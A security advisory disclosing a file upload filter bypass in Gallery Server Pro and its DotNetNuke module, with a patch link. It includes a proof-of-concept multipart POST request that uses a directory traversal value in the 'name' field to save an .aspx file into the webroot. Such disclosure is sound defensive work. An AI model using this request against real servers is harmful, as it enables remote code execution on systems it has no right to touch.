Security-Assessment.com Advisory: Gallery Server Pro File Upload Filter Bypass

[Drew Calcott <drew.calcott () security-assessment com>]

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        presents..


Gallery Server Pro File Upload Filter Bypass

Vendor Link: http://www.galleryserverpro.com/
PDF:
http://security-assessment.com/files/documents/advisory/GalleryServerProFileUploadFilterBypass.pdf


+-----------+
|Description|
+-----------+

Gallery Server Pro is a media gallery that works both as a stand-alone
application and as a module for DotNetNuke. Security-Assessment.com has
discovered that the upload functionality of both the application and
DotNetNuke module are vulnerable to bypassing the restrictions present
in the file upload filter. This permits a malicious authenticated user
to upload arbitrary file types, including .NET scripts, allowing the
execution of server side code.


+------------+
|Exploitation|
+------------+

Exploitation of this vulnerability requires the user to have an
authenticated account with permission to upload files to a gallery, or
for the application / module to be configured to allow unauthenticated
users to upload. By modifying the content of the “name” parameter in the
POST request to the server, it is possible to bypass the file type
upload restrictions, which are only applied to the “filename” parameter.
By then passing directory traversal strings in the “name” parameter, it
is possible to save the uploaded file within the webroot of the
application / module.

In the standalone application version of Gallery Server Pro, the IIS
user does not have permission to write directly to the webroot of the
application. Therefore, it is necessary to place the file within the
“gs\mediaobjects\Samples” path as per the example below. Please note
that the DotNetNuke module does not have these same restrictions by default.


+----------------------------------+
|Proof of Concept HTTP POST Request|
+----------------------------------+

*********************************************************************
POST /gallery/gs/handler/upload.ashx?aid=2 HTTP/1.1
Host: <vulnerablesite>
Referer:
http://<vulnerablesite>/gallery/default.aspx?g=task_addobjects&aid=2
Content-Length: 73459
Content-Type: multipart/form-data;
boundary=---------------------------41184676334
Cookie: <VALID COOKIE DATA>
Pragma: no-cache
Cache-Control: no-cache

-----------------------------41184676334
Content-Disposition: form-data; name="name"

..\..\gs\mediaobjects\Samples\malicious.aspx
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="malicious.jpg"
Content-Type: application/octet-stream

Malicious code here.

-----------------------------41184676334--
*********************************************************************

The uploaded file will then be available on the affected server at:
http://<vulnerablesite>/gallery/gs/mediaobjects/Samples/malicious.aspx


+--------+
|Solution|
+--------+

The vendor has released an update for all vulnerable versions of Gallery
Server Pro and its related DotNetNuke
plugin.
The patch is available for download from the vendor’s website at:
http://www.galleryserverpro.com/download.aspx


+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

Security-Assessment.com is Australasia's leading team of Information
Security consultants specialising in providing high quality Information
Security services to clients throughout the Asia Pacific region. Our
clients include some of the largest globally recognised companies in
areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a
high level of technical expertise while creating long and lasting
professional relationships with our clients.

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